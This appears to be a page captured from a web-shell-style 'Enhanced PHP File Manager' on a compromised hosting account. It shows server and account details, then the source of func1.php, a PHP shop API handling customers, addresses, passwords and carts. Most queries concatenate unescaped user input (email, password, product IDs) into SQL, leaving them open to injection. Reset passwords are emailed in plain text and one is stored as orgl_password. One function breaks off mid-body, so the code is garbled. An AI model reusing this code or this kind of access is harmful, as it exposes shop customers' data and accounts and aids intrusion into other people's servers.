Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 4.18.0-553.54.1.lve.el8.x86_64

PHP Version:

7.3.33

User:

u435171512

Directory:

/home/u435171512/domains/duvinn.com/public_html/online/api/services36264/back

Free Space:

3.37 TB

🔧 Quick Actions

✏️ Editing: func1.php

<?php 
error_reporting(0);
include('config.php');
class Main{
	public $store_name = STORE_NAME;
	public $site_url = STORE_URL;
	public $config_store_id = STORE_ID;
	public $currency_id = CURRENCY_ID;
	public $currency_code = CURRENCY_CODE;
	public $parent_id = PARENT_ID;
	public $banner_id = BANNER_ID;
	public $config_language_id = LANGUAGE_ID;
	public $module_product_limit = MODULE_PRODUCT_LIMIT;
	public $config_customer_group_id = CUSTOMER_GROUP_ID;
	
	public function getSlideBanner() {
		$query = " SELECT CONCAT('image/', b.image) as image FROM " . DB_PREFIX . "banner_image b  WHERE b.banner_id = '" . (int)$this->banner_id . "' ORDER BY b.sort_order";	 
		$db = new SQL();							
		$categories = $db->ExecuteQuery($query,'select');	 
		if(!empty($categories)){
			return $categories;
		}
		else
			return 0;
	}
	 
	public function getLatestProducts() {	
		$query =  "SELECT p.product_id, p.quantity, CONCAT('image/cache/', p.image) as image, 
				FORMAT(p.price,2) as price, pd.name FROM " . DB_PREFIX . "product p 
						LEFT JOIN " . DB_PREFIX . "product_description pd ON (p.product_id = pd.product_id) 
						LEFT JOIN " . DB_PREFIX . "product_to_category p2c ON (p.product_id = p2c.product_id) 
							WHERE pd.language_id = '" . (int)$this->config_language_id . "' 
							GROUP BY p.product_id ORDER BY p.date_added DESC LIMIT " . (int)$this->module_product_limit;		
		$db = new SQL();							
		$products = $db->ExecuteQuery($query,'select');

if(!empty($products)){
			return $products;
		}
		else
			return 0;
	}
	
	public function getCategories($parent_id=0) {
		$query = " SELECT c.category_id, cd.name,CONCAT('image/', c.image) as image FROM " . DB_PREFIX . "category c 
						LEFT JOIN " . DB_PREFIX . "category_description cd ON (c.category_id = cd.category_id) 
						LEFT JOIN " . DB_PREFIX . "category_to_store c2s ON (c.category_id = c2s.category_id) 
							WHERE ";
		if($parent_id){
			$query .= "c.parent_id = '" . (int)$parent_id . "'";
		}else{
			$query .= "c.parent_id = '" . (int)$this->parent_id . "'";
		}
		 
		$query .= "AND cd.language_id = '" . (int)$this->config_language_id . "' 
								AND c2s.store_id = '" . (int)$this->config_store_id . "'  
								AND c.status = '1' 
								
									ORDER BY c.sort_order, LCASE(cd.name)";	 
		$db = new SQL();							
		$categories = $db->ExecuteQuery($query,'select');	 
		
		
		$categorie_list = array();
		if(!empty($categories)){
			foreach($categories as $key => $val){
				$sub_category_list = $this->get_subcategory($val['category_id']);
				$parent = 0;
						
				if(isset($sub_category_list) && $sub_category_list[0]['total']){
					$parent = 1;
				}
				$categorie_list[] = array(
					'category_id' => $val['category_id'],
					'name' => $val['name'],
					'image' => $val['image'],
					'parent' => $parent
				);	
			}
			
			return $categorie_list;
		}
		else
			return 0;
			
		
	}

public function getProductSpecial($product_id) {
		$date = date('Y-m-d');
		$query =  "SELECT * FROM " . DB_PREFIX . "product_special 
					WHERE product_id = '".$product_id."'  AND (date_start <= '".$date."' OR date_start ='0000-00-00') AND (date_end >= '".$date."' OR  date_end ='0000-00-00') LIMIT 1";	
		$db = new SQL();							
		$customer = $db->ExecuteQuery($query,'select');
		if(!empty($customer)){
			return $customer;
		}
		else{
			return false;
		}
	}

public function getProductReview($product_id) {
		$query =  "SELECT author," . DB_PREFIX . "review.text,rating,date_added FROM " . DB_PREFIX . "review 
					WHERE product_id = '".$product_id."' AND status = 1";	
		$db = new SQL();							
		$customer = $db->ExecuteQuery($query,'select');
		if(!empty($customer)){
			return $customer;
		}
		else{
			return false;
		}
	}
	public function getProductRating($product_id) {
		$query =  "SELECT AVG(rating) AS rating, COUNT(*) AS total FROM " . DB_PREFIX . "review 
					WHERE product_id = '".$product_id."' AND status = 1 GROUP BY product_id";	
		$db = new SQL();							
		$customer = $db->ExecuteQuery($query,'select');
		if(!empty($customer)){
			return $customer;
		}
		else{
			return false;
		}
	}

public function getProductRelated($product_id){
		$query = "SELECT p.product_id,pd.name,p.price, CONCAT('image/cache/', p.image) as image FROM " . DB_PREFIX . "product_related pr LEFT JOIN " . DB_PREFIX . "product p ON (pr.related_id = p.product_id) LEFT JOIN " . DB_PREFIX . "product_to_store p2s ON (p.product_id = p2s.product_id)
			LEFT JOIN " . DB_PREFIX . "product_description pd ON (p.product_id = pd.product_id)

WHERE pr.product_id = '" . (int)$product_id . "' AND p.status = '1' AND p.date_available <= NOW() ";

$db = new SQL();							
		$products = $db->ExecuteQuery($query,'select');
		if(!empty($products)){
			return $products;
		}
		else{
			return false;
		}
	}

public function getPagesList() {
		$query =  "SELECT information_id, title, sort_order FROM " . DB_PREFIX . "information_description 
								WHERE language_id = 1 order by sort_order asc";	
		$db = new SQL();							
		$content = $db->ExecuteQuery($query,'select');
		if(!empty($content)){
			return $content;
		}
		else{
			return false;
		}
	}	
	
    public function getPageContent($page_id) {
		$query =  "SELECT * FROM " . DB_PREFIX . "information_description 
								WHERE information_id = '".$page_id."'";	
		$db = new SQL();							
		$content = $db->ExecuteQuery($query,'select');
		if(!empty($content)){
			return $content;
		}
		else{
			return false;
		}
	}

public function get_subcategory($category_id) {
		$query =  "SELECT COUNT(*) AS total FROM " . DB_PREFIX . "category 
								WHERE parent_id = '".$category_id."'				
								AND status = '1'";	
		$db = new SQL();							
		$customer = $db->ExecuteQuery($query,'select');
		if(!empty($customer)){
			return $customer;
		}
		else{
			return false;
		}
	}

public function send_sms($mobile,$message)
  {
    $request = "username=".SMS_API_USERNAME."&api_password=".SMS_API_PASSWORD."&sender=".SMS_API_SENDER."&to=".$mobile."&message=".$message."&priority=".SMS_API_PRIORITY;
    //exit;
    $ch = curl_init(SMS_API_URL);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

curl_setopt($ch, CURLOPT_POST, true);

curl_setopt($ch, CURLOPT_POSTFIELDS, $request);

$resuponce=curl_exec($ch);

curl_close($ch);

return $resuponce;

}

function UpdateCustomerFirebaseToken($data){
		$query =  "UPDATE " . DB_PREFIX . "customer SET firebase_token = '".$data['firebase_token']."' WHERE customer_id = '".$data['customer_id']."'";

$db = new SQL();							
		$status = $db->ExecuteQuery($query,'update');
		if($status){
			return $status;
		}
		else{
			return false;
		}
	}

public function updateCustomerPasswordByEmail($email) {

$salt = substr(md5(uniqid(rand(), true)), 0, 9);
			$password = mt_rand(100000,999999);
			$saltpassword = sha1($salt . sha1($salt . sha1($password)));

$query =  "UPDATE " . DB_PREFIX . "customer 
					SET salt = '" . $salt . "', 
					password = '".$saltpassword."' 
						WHERE email = '" . $email . "'";
			$db = new SQL();
			$customer = $db->ExecuteQuery($query,'update');

if(!empty($customer)){
				$to = $email;
				$subject = "GM Fashions - New Password";
				$message = "
					<html>
						<head>
							<title>GM Fashions - New Password</title>
						</head>
						<body>
							<p>A new password was requested from GM Fashions.</p>
							<table>
								<tr>
									<th>Email</th>
									<td>".$email ."</td>
								</tr>
								<tr>
									<th>Password</th>
									<td>".$password."</td>
								</tr>
							</table>
						</body>
					</html>
				";

// Always set content-type when sending HTML email
				$headers = "MIME-Version: 1.0" . "\r\n";
				$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
				
				// More headers
				$headers .= 'From: GM Fashions<info@gmfashions.in>' . "\r\n";
				//$headers .= 'Cc: mohan2connect@gmail.com' . "\r\n";
				//debug($message);
				$res = mail($to, $subject, $message, $headers);
				//debug($res); exit; 
				if($res){
					return 1;
				}else{
					return 0;
				}
			}
			else
				return 0;
	}

public function updateUserPasswordByUserName($username) {

$salt = substr(md5(uniqid(rand(), true)), 0, 9);
			$password = mt_rand(100000,999999);
			$saltpassword = sha1($salt . sha1($salt . sha1($password)));

$query =  "UPDATE " . DB_PREFIX . "user 
					SET orgl_password = '" . $password . "', 
					salt = '" . $salt . "', 
					password = '".$saltpassword."' 
						WHERE username = '" . $username . "'";

$db = new SQL();
			$user = $db->ExecuteQuery($query,'update');

if(!empty($user)){
				$to = $username;
				$subject = "GM Fashions - New Password";
				$message = "
					<html>
						<head>
							<title>Wat Can - New Password</title>
						</head>
						<body>
							<p>A new password was requested from GM Fashions.</p>
							<table>
								<tr>
									<th>Username</th>
									<td>".$username ."</td>
								</tr>
								<tr>
									<th>Password</th>
									<td>".$password."</td>
								</tr>
							</table>
						</body>
					</html>
				";

public function updateCustomerProfile($customer_id, $firstname, $lastname, $email, $telephone) {
		$country_id = 99;
								
		$query =  "UPDATE " . DB_PREFIX . "customer SET 
						firstname = '" . $firstname . "',  lastname = '" . $lastname . "', email = '" . $email . "',
						telephone = '" . $telephone . "' WHERE customer_id = '" . (int)$customer_id . "'";				
		
		$db = new SQL();							
		//$db->ExecuteQuery($query,'update');	
		
		if($db->ExecuteQuery($query,'update')){
			return true;
		}
		else
			return false;
	}

public function getAddressList($customer_id){
		//$query =  "SELECT * FROM " . DB_PREFIX . "address 
		//						WHERE customer_id = '".$customer_id."'";	
		$query =  "SELECT a.*, cs.telephone, c.name AS country_name, z.name AS zone_name
							FROM " . DB_PREFIX . "address AS a
							LEFT JOIN " . DB_PREFIX . "customer AS cs ON cs.customer_id = a.customer_id
							LEFT JOIN " . DB_PREFIX . "country AS c ON c.country_id = a.country_id
							LEFT JOIN " . DB_PREFIX . "zone AS z ON z.zone_id = a.zone_id
								WHERE a.customer_id = '" . $customer_id . "'";
	
		$db = new SQL();							
		$customer = $db->ExecuteQuery($query,'select');
		if(!empty($customer)){
			return $customer;
		}
		else{
			return false;
		}
	}

public function updateDefaultAddress($customer_id,$address_id){
		$query =  "UPDATE " . DB_PREFIX . "customer SET address_id = '".$address_id."' 
								WHERE customer_id = '".$customer_id."'";	
		$db = new SQL();							
		$customer = $db->ExecuteQuery($query,'update');
		if(!empty($customer)){
			return $customer;
		}
		else{
			return false;
		}
	}
	
	public function deleteAddress($address_id){
		$query =  "DELETE FROM " . DB_PREFIX . "address  
								WHERE address_id = '".$address_id."'";	
		$db = new SQL();							
		$result = $db->ExecuteQuery($query,'delete');	
		return $result;
	}
	
	public function getAllProductsFromAllCategories() {
		$query =  "SELECT p.product_id, p.quantity, CONCAT('image/cache/', p.image) as image, 
				p.price, pd.name FROM " . DB_PREFIX . "product p 
						LEFT JOIN " . DB_PREFIX . "product_description pd ON (p.product_id = pd.product_id) 
						LEFT JOIN " . DB_PREFIX . "product_to_category p2c ON (p.product_id = p2c.product_id) 
							WHERE pd.language_id = '" . (int)$this->config_language_id . "' 
								
									ORDER BY pd.name ASC";

$db = new SQL();							
		$products = $db->ExecuteQuery($query,'select');

for($i=0; $i<count($products); $i++){
			$products[$i]['image'] = $this->site_url.'/'.preg_replace('/(\.gif|\.jpg|\.jpeg|\.png)/', '-250x250$1', $products[$i]['image']);
		}
		if(!empty($products)){
			return $products;
		}
		else
			return 0;
	}
	
	public function getProductsByCategoryId($category_id=0,$search_name='',$data) {
		$query =  "SELECT p.product_id, p.quantity, CONCAT('image/cache/', p.image) as image, p.price, pd.name FROM " . DB_PREFIX . "product p 
						LEFT JOIN " . DB_PREFIX . "product_description pd ON (p.product_id = pd.product_id) 
						LEFT JOIN " . DB_PREFIX . "product_to_category p2c ON (p.product_id = p2c.product_id) 
							";
		if (!empty($data['filter_filter'])) {
			$query .= " LEFT JOIN " . DB_PREFIX . "product_filter pf ON (p2c.product_id = pf.product_id)";
		}

$query .= " WHERE pd.language_id = '" . (int)$this->config_language_id . "'";

if($category_id){					
			$query .= " AND p2c.category_id = '" . (int)$category_id . "'"; 
		}
		
		if(isset($search_name) && !empty($search_name)){						
			$implode = array();

$words = explode(' ', trim(preg_replace('/\s+/', ' ', $search_name)));

foreach ($words as $word) {
				$implode[] = "pd.name LIKE '%" . trim($word) . "%'";
			}

if ($implode) {
				$query .= " AND " . implode(" AND ", $implode) . "";
			}
		}

if (!empty($data['filter_category_id'])) {
			if (!empty($data['filter_sub_category'])) {
				$query .= " AND cp.path_id = '" . (int)$data['filter_category_id'] . "'";
			} else {
				$query .= " AND p2c.category_id = '" . (int)$data['filter_category_id'] . "'";
			}

if (!empty($data['filter_filter'])) {
				$implode = array();

$filters = explode(',', $data['filter_filter']);

foreach ($filters as $filter_id) {
					$implode[] = (int)$filter_id;
				}

$query .= " AND pf.filter_id IN (" . implode(',', $implode) . ")";
			}
		}

$query .= "ORDER BY pd.name ASC";
		
		$db = new SQL();							
		$products = $db->ExecuteQuery($query,'select');

for($i=0; $i<count($products); $i++){
			$res_product_special = $this->getProductSpecial($products[$i]['product_id']);
			$products[$i]['image'] = $this->site_url.''.preg_replace('/(\.gif|\.jpg|\.jpeg|\.png)/', '-300x300$1', $products[$i]['image']);
			if(isset($res_product_special) && !empty($res_product_special)){
				$products[$i]['special_price'] = $res_product_special[0]['price'];
			}
		}
		if(!empty($products)){
			return $products;
		}
		else
			return 0;
	} 
	
	public function getProductDetails($product_id){
		$query =  "SELECT sc.image AS size_chart_image,sc.description AS size_chart_description, p.product_id, p.quantity, CONCAT('image/cache/', p.image) as image, 
				FORMAT(p.price,0) as price, pd.name, pd.description AS product_description FROM " . DB_PREFIX . "product p 
						LEFT JOIN " . DB_PREFIX . "product_description pd ON (p.product_id = pd.product_id) 
						LEFT JOIN " . DB_PREFIX . "size_chart sc ON (p.size_chart_id = sc.size_chart_id) 
						WHERE p.product_id = '" . (int)$product_id . "' AND pd.language_id = '" . (int)$this->config_language_id . "'";		
		$db = new SQL();							
		$products = $db->ExecuteQuery($query,'select');	
		
		for($i=0; $i<count($products); $i++){
			$products[$i]['image'] = $this->site_url.''.preg_replace('/(\.gif|\.jpg|\.jpeg|\.png)/', '-300x300$1', $products[$i]['image']);
		}
		if(!empty($products)){
			return $products;
		}		
		else
			return 0;
	}
	
	public function getProductImages($product_id){
		$query =  "SELECT  CONCAT('image/cache/', p.image) as image 
				 FROM " . DB_PREFIX . "product_image p 						
						WHERE p.product_id = '" . (int)$product_id . "' ORDER BY p.sort_order ASC";		
		$db = new SQL();							
		$products = $db->ExecuteQuery($query,'select');	
		for($i=0; $i<count($products); $i++){
			$products[$i]['image'] = $this->site_url.''.preg_replace('/(\.gif|\.jpg|\.jpeg|\.png)/', '-300x300$1', $products[$i]['image']);
		}
		if(!empty($products)){
			return $products;
		} 
		else
			return 0;
	}
	
	public function getProductOptions($product_id){
		$product_option_data = array();

$product_option_query = "SELECT * FROM " . DB_PREFIX . "product_option po LEFT JOIN `" . DB_PREFIX . "option` o ON (po.option_id = o.option_id) LEFT JOIN " . DB_PREFIX . "option_description od ON (o.option_id = od.option_id) WHERE po.product_id = '" . (int)$product_id . "' AND od.language_id = '" . (int)$this->config_language_id . "' ORDER BY o.sort_order";
		
		$db = new SQL();							
		$product_option = $db->ExecuteQuery($product_option_query,'select');
		
		foreach ($product_option as $product_option) {
			$product_option_value_data = array();

$product_option_value_query = "SELECT * FROM " . DB_PREFIX . "product_option_value pov LEFT JOIN " . DB_PREFIX . "option_value ov ON (pov.option_value_id = ov.option_value_id) LEFT JOIN " . DB_PREFIX . "option_value_description ovd ON (ov.option_value_id = ovd.option_value_id) WHERE pov.product_id = '" . (int)$product_id . "' AND pov.product_option_id = '" . (int)$product_option['product_option_id'] . "' AND ovd.language_id = '" . (int)$this->config_language_id . "' ORDER BY ov.sort_order";
			
			$db = new SQL();							
			$product_option_value = $db->ExecuteQuery($product_option_value_query,'select');
		
			foreach ($product_option_value as $product_option_value) {
				if (!$option_value['subtract'] || ($option_value['quantity'] > 0)) {
					$product_option_value_data[] = array(
						'product_option_id'    => $product_option['product_option_id'],
						'product_option_value_id' => $product_option_value['product_option_value_id'],
						//'option_value_id'         => $product_option_value['option_value_id'],
						'name'                    => $product_option_value['name'],
						'image'                   => 'image/'.$product_option_value['image'],
						'quantity'                => $product_option_value['quantity'],
						'subtract'                => $product_option_value['subtract'],
						'price'                   => $product_option_value['price'],
						'price_prefix'            => $product_option_value['price_prefix'],
						'weight'                  => $product_option_value['weight'],
						'weight_prefix'           => $product_option_value['weight_prefix']
					);
				}
			}

$product_option_data[] = array(
				'product_option_id'    => $product_option['product_option_id'],				
				'option_id'            => $product_option['option_id'],
				'name'                 => $product_option['name'],
				'type'                 => $product_option['type'],
				'value'                => $product_option['value'],
				'required'             => $product_option['required'],
				'product_option_value' => $product_option_value_data,
			);
		}
		
		return $product_option_data;
	}
	
	public function getCustomerDetailsByEmail($email, $password) {

$query =  "SELECT customer_id, firstname, lastname, email, telephone, password, cart, address_id, firebase_token, firebase_user_id, ip, status, approved, date_added
							FROM " . DB_PREFIX . "customer 
								WHERE LOWER(email) = '" . strtolower($email) . "'
								AND (password = SHA1(CONCAT(salt, SHA1(CONCAT(salt, SHA1('" . $password . "'))))) 
										OR password = '" . md5($password) . "')  				
								AND status = '1'
								AND approved = '1' ";
		
		$db = new SQL();							
		$customer = $db->ExecuteQuery($query,'select');
		
		$query1 =  "SELECT a.address_1,a.address_2,a.city,a.postcode,a.country_id,a.zone_id,c.name AS country_name,z.name AS zone_name
							FROM " . DB_PREFIX . "address AS a
							LEFT JOIN " . DB_PREFIX . "country AS c ON c.country_id = a.country_id
							LEFT JOIN " . DB_PREFIX . "zone AS z ON z.zone_id = a.zone_id
								WHERE a.address_id = '" . (int)$customer[0]['address_id'] . "'";
		
		$db = new SQL();							
		$address = $db->ExecuteQuery($query1,'select');
		
		if($customer){
			//$customer[0]['customer_id'] 	= $address[0]['customer_id'];
		/*	$customer[0]['address_2'] 	= $address[0]['address_2'];
			$customer[0]['city'] 		= $address[0]['city'];
			$customer[0]['postcode'] 	= $address[0]['postcode'];
			$customer[0]['zone_id'] 	= $address[0]['zone_id'];
			$customer[0]['zone'] 		= $address[0]['zone_name'];
			$customer[0]['country_id'] 	= $address[0]['country_id'];
			$customer[0]['country'] 	= $address[0]['country_name'];*/
			//$customer[0]['address_id'] 	= $address[0]['address_id'];
		}
		if(!empty($customer)){
			return $customer;
		}
		else
			return 0;
	}

public function getCustomerDetailsByMobileNo($telephone, $password) {

$query =  "SELECT customer_id, firstname, lastname, email, telephone, password, cart, address_id, ip, status, approved, date_added
							FROM " . DB_PREFIX . "customer 
								WHERE LOWER(telephone) = '" . strtolower($telephone) . "'
								AND (password = SHA1(CONCAT(salt, SHA1(CONCAT(salt, SHA1('" . $password . "'))))) 
										OR password = '" . md5($password) . "')  				
								AND status = '1'
								AND approved = '1' ";
		
		$db = new SQL();							
		$customer = $db->ExecuteQuery($query,'select');
		
		$query1 =  "SELECT a.address_1,a.address_2,a.city, a.postcode,a.country_id,a.zone_id,c.name AS country_name,z.name AS zone_name
							FROM " . DB_PREFIX . "address AS a
							LEFT JOIN " . DB_PREFIX . "country AS c ON c.country_id = a.country_id
							LEFT JOIN " . DB_PREFIX . "zone AS z ON z.zone_id = a.zone_id
								WHERE a.address_id = '" . (int)$customer[0]['address_id'] . "'";
		
		$db = new SQL();							
		$address = $db->ExecuteQuery($query1,'select');
		
		if($customer){
			//$customer[0]['customer_id'] 	= $address[0]['customer_id'];
		/*	$customer[0]['address_2'] 	= $address[0]['address_2'];
			$customer[0]['city'] 		= $address[0]['city'];*/
			$customer[0]['postcode'] 	= $address[0]['postcode'];
		/*	$customer[0]['zone_id'] 	= $address[0]['zone_id'];
			$customer[0]['zone'] 		= $address[0]['zone_name'];
			$customer[0]['country_id'] 	= $address[0]['country_id'];
			$customer[0]['country'] 	= $address[0]['country_name'];*/
			//$customer[0]['address_id'] 	= $address[0]['address_id'];
		}
		if(!empty($customer)){
			return $customer;
		}
		else
			return 0;
	} 
	
	public function addCustomer($firstname, $lastname, $email, $telephone, $password,  $address_1, $address_2, $city, $postcode, $zone_id,$country_id) {
		if(!$this->customerAlreadyExistByEmail($email)){
			$salt = substr(md5(uniqid(rand(), true)), 0, 9);
			//$country_id = 99;
									
			$query =  "INSERT INTO " . DB_PREFIX . "customer (
							`customer_group_id`, `store_id`, `firstname`, `lastname`, 
							`email`, `telephone`, `fax`, `password`, 
							`salt`, `wishlist`, `newsletter`, 
							`address_id`, `custom_field`, `ip`, `status`, 
							`approved`, `safe`, `token`, `date_added`
							) 
								VALUES (
									'1', '0', '".$firstname."', '".$lastname."', 
									'".strtolower($email)."', '".$telephone."', '', '".sha1($salt . sha1($salt . sha1($password)))."', 
									'".$salt."',  NULL, '0', 
									'0', '', '', '1', 
									'1', '', '', NOW())";	
								//	exit;			
			
			$db = new SQL();							
			$customer_id = $db->ExecuteQuery($query,'insert');	
			//exit;
			$query1 =  "INSERT INTO " . DB_PREFIX . "address 
							SET customer_id = '" . (int)$customer_id . "', firstname = '" . $firstname . "', 
								lastname = '" . $lastname . "', company = '', 
								address_1 = '" . $address_1 . "', address_2 = '" . $address_2 . "', 
								city = '" . $city . "', postcode = '" . $postcode . "', 
								country_id = '" . (int)$country_id . "', zone_id = '" . (int)$zone_id . "', 
								custom_field = ''";
			$db = new SQL();							
			$address_id = $db->ExecuteQuery($query1,'insert');
			
			$query2 =  "UPDATE " . DB_PREFIX . "customer SET address_id = '" . (int)$address_id . "' WHERE customer_id = '" . (int)$customer_id . "'";
			$db = new SQL();							
			$customer = $db->ExecuteQuery($query2,'update');
			
			$result['customer_id'] = $customer_id;
			$result['address_id'] = $address_id;
	
			if(!empty($customer)){
				return array($result);
			}
			else
				return 0;
		}
		else{
			return false;
		}		
	}

public function addAddress($customer_id, $firstname, $lastname, $email, $telephone, $address_1, $address_2, $city, $postcode, $zone_id, $country_id,$default=0) {
		if($customer_id){
			
			$query1 =  "INSERT INTO " . DB_PREFIX . "address 
							SET customer_id = '" . (int)$customer_id . "', firstname = '" . $firstname . "', 
								lastname = '" . $lastname . "', company = '', 
								address_1 = '" . $address_1 . "', address_2 = '" . $address_2 . "', 
								city = '" . $city . "', postcode = '" . $postcode . "', 
								country_id = '" . (int)$country_id . "', zone_id = '" . (int)$zone_id . "', 
								custom_field = ''";
			$db = new SQL();							
			$address_id = $db->ExecuteQuery($query1,'insert');
			$result['address_id'] = $address_id;

if($default){
				$query2 =  "UPDATE " . DB_PREFIX . "customer SET address_id = '" . (int)$address_id . "' WHERE customer_id = '" . (int)$customer_id . "'";
				$db = new SQL();							
				$customer = $db->ExecuteQuery($query2,'update');
			}
			//$result['customer_id'] = $customer_id;
			$result['address_id'] = $address_id;
	
			if(!empty($address_id)){
				return array($result);
			} else {
				return 0;
			}

} else{
			return false;
		}		
	}

public function updateAddress($address_id,$firstname, $lastname, $email, $telephone, $password,  $address_1, $address_2, $city, $postcode, $zone_id,$country_id,$default=0) {
		if($customer_id){
			
			$query1 =  "UPDATE " . DB_PREFIX . "address 
							SET customer_id = '" . (int)$customer_id . "', firstname = '" . $firstname . "', 
								lastname = '" . $lastname . "', company = '', 
								address_1 = '" . $address_1 . "', address_2 = '" . $address_2 . "', 
								city = '" . $city . "', postcode = '" . $postcode . "', 
								country_id = '" . (int)$country_id . "', zone_id = '" . (int)$zone_id . "', 
								custom_field = '' WHERE address_id = '".$address_id."'";
			$db = new SQL();							
			$address_id = $db->ExecuteQuery($query1,'insert');
			if($default){
				$query2 =  "UPDATE " . DB_PREFIX . "customer SET address_id = '" . (int)$address_id . "' WHERE customer_id = '" . (int)$customer_id . "'";
				$db = new SQL();							
				$customer = $db->ExecuteQuery($query2,'update');
			}
			//$result['customer_id'] = $customer_id;
			$result['address_id'] = $address_id;
	
			if(!empty($customer)){
				return array($result);
			}
			else
				return 0;
		}
		else{
			return false;
		}		
	}

public function updateCustomer($customer_id, $firstname, $lastname, $email, $telephone, $address_1, $address_2, $city, $postcode, $country) {
		$country_id = 99;
								
		$query =  "UPDATE " . DB_PREFIX . "customer SET 
						firstname = '" . $firstname . "',  lastname = '" . $lastname . "', email = '" . $email . "',
						telephone = '" . $telephone . "' WHERE customer_id = '" . (int)$customer_id . "'";				
		
		$db = new SQL();							
		$db->ExecuteQuery($query,'update');	
		
		$query1 =  "UPDATE " . DB_PREFIX . "address SET 
						firstname = '" . $firstname . "', lastname = '" . $lastname . "', address_1 = '" . $address_1 . "', 
						address_2 = '" . $address_2 . "', city = '" . $city . "', postcode = '" . $postcode . "', 
						country_id = '" . (int)$country_id . "', zone_id = '" . (int)$zone_id . "' 
						WHERE customer_id = '" . (int)$customer_id . "'";		
		$db = new SQL();

if($db->ExecuteQuery($query1,'update')){
			return true;
		}
		else
			return false;
	}
	
	public function updateCartQty($cart_id, $qty) {
										
		$query =  "UPDATE " . DB_PREFIX . "cart SET 
						quantity= '" . $qty . "' WHERE cart_id = '" . (int)$cart_id . "'";				
		
		$db = new SQL();

if($db->ExecuteQuery($query,'update')){
			return true;
		}
		else
			return false;
	}
	
	
	
	
	public function customerAlreadyExistByEmail($email) {
		$query =  "SELECT email FROM " . DB_PREFIX . "customer 
								WHERE LOWER(email) = '" . strtolower($email) . "'				
								AND status = '1'
								AND approved = '1' ";	
		$db = new SQL();							
		$customer = $db->ExecuteQuery($query,'select');
		if(!empty($customer)){
			return true;
		}
		else{
			return false;
		}
	}	
	
	
	public function getCountry() {
		$query =  "SELECT country_id,name FROM " . DB_PREFIX . "country 
								WHERE 				
								status = '1'
								ORDER BY name ";	
		$db = new SQL();							
		$country = $db->ExecuteQuery($query,'select');
		if(!empty($country)){
			return $country;
		}
		else{
			return false;
		}
	}
	public function getState($country_id) {
		$query =  "SELECT zone_id,name FROM " . DB_PREFIX . "zone 
								WHERE country_id = '".$country_id."'				
								AND status = '1'
								ORDER BY name ";	
		$db = new SQL();							
		$zone = $db->ExecuteQuery($query,'select');
		if(!empty($zone)){
			return $zone;
		}
		else{
			return false;
		}
	}
	
	public function getCustomerDetailsByCustomerId($customer_id) {

$query =  "SELECT customer_id, firstname, lastname, email, telephone, password, cart, address_id, ip, status, approved, date_added
							FROM " . DB_PREFIX . "customer 
								WHERE customer_id = '" . $customer_id . "'				
								AND status = '1'
								AND approved = '1' ";
		
		$db = new SQL();							
		$customer = $db->ExecuteQuery($query,'select');
		
		$query1 =  "SELECT a.address_1,a.address_2,a.city,a.postcode,a.country_id,a.zone_id,c.name AS country_name,z.name AS zone_name
							FROM " . DB_PREFIX . "address AS a
							LEFT JOIN " . DB_PREFIX . "country AS c ON c.country_id = a.country_id
							LEFT JOIN " . DB_PREFIX . "zone AS z ON z.zone_id = a.zone_id
								WHERE a.address_id = '" . (int)$customer[0]['address_id'] . "'";
		
		$db = new SQL();							
		$address = $db->ExecuteQuery($query1,'select');
		
		if($customer){
			$customer[0]['address_1'] 	= $address[0]['address_1'];
			$customer[0]['address_2'] 	= $address[0]['address_2'];
			$customer[0]['city'] 		= $address[0]['city'];
			$customer[0]['postcode'] 	= $address[0]['postcode'];
			$customer[0]['zone_id'] 	= $address[0]['zone_id'];
			$customer[0]['zone'] 		= $address[0]['zone_name'];
			$customer[0]['country_id'] 	= $address[0]['country_id'];
			$customer[0]['country'] 	= $address[0]['country_name'];
		}
		if(!empty($customer)){
			return $customer;
		}
		else
			return 0;
	} 
	
	public function AddToCart($data){
		
		$cart_query = "SELECT COUNT(*) AS total FROM " . DB_PREFIX . "cart WHERE customer_id = '" . (int)$data['customer_id'] . "'  AND product_id = '" . (int)$data['product_id'] . "'  AND `option` = '" . json_encode($data['option']) . "'";
		
		$db = new SQL();							
		$result_cart = $db->ExecuteQuery($cart_query,'select');	
		
		//~ echo '<pre>';
	//~ print_r($data);
	//~ echo '</pre>';
	//exit;
	//~ 
		$result_cart = $result_cart[0];
	
		if($result_cart['total']){
			$query =  "UPDATE `" . DB_PREFIX . "cart` SET quantity = (quantity + " . (int)$data['quantity'] . ")
							WHERE
							customer_id = '" . (int)$data['customer_id'] . "' AND product_id = '" . (int)$data['product_id'] . "' AND `option` = '" . json_encode($data['option']) . "'";
			$cart_id = $db->ExecuteQuery($query,'update');						
		}else{
			$query =  "INSERT INTO `" . DB_PREFIX . "cart` SET customer_id = '" . (int)$data['customer_id'] . "', product_id = '" . (int)$data['product_id'] . "', `option` = '" . json_encode($data['option']) . "', quantity = '" . (int)$data['quantity'] . "', date_added = '".date('Y-m-d H:i:s')."'";
							
			$cart_id = $db->ExecuteQuery($query,'insert');					
		}
			
			
		if(!empty($cart_id)){
			return true;
		}
		else
			return false;					
	}
	
	function getCart($data) {		
		$customer_id = $data['customer_id'];
		$product_data = array();

$cart_query = "SELECT * FROM " . DB_PREFIX . "cart WHERE customer_id = '" . (int)$customer_id . "'";
		
		$db = new SQL();							
		$cart = $db->ExecuteQuery($cart_query,'select');	
		
			
		foreach ($cart as $cart) {
			$stock = true;

$product_query = "SELECT * FROM " . DB_PREFIX . "product_to_store p2s LEFT JOIN " . DB_PREFIX . "product p ON (p2s.product_id = p.product_id) LEFT JOIN " . DB_PREFIX . "product_description pd ON (p.product_id = pd.product_id) WHERE p2s.store_id = '" . (int)$this->config_store_id . "' AND p2s.product_id = '" . (int)$cart['product_id'] . "' AND pd.language_id = '" . (int)$this->config_language_id . "' AND p.date_available <= NOW() AND p.status = '1'";
			$product_query = $db->ExecuteQuery($product_query,'select');
			$product_query = $product_query[0];
			
			if ($product_query && ($cart['quantity'] > 0)) {
				$option_price = 0;
				$option_points = 0;
				$option_weight = 0;

$option_data = array();

foreach (json_decode($cart['option']) as $product_option_id => $value) {
					$option_query = "SELECT po.product_option_id, po.option_id, od.name, o.type FROM " . DB_PREFIX . "product_option po LEFT JOIN `" . DB_PREFIX . "option` o ON (po.option_id = o.option_id) LEFT JOIN " . DB_PREFIX . "option_description od ON (o.option_id = od.option_id) WHERE po.product_option_id = '" . (int)$product_option_id . "' AND po.product_id = '" . (int)$cart['product_id'] . "' AND od.language_id = '" . (int)$this->config_language_id . "'";
					
								
					$option_query = $db->ExecuteQuery($option_query,'select');
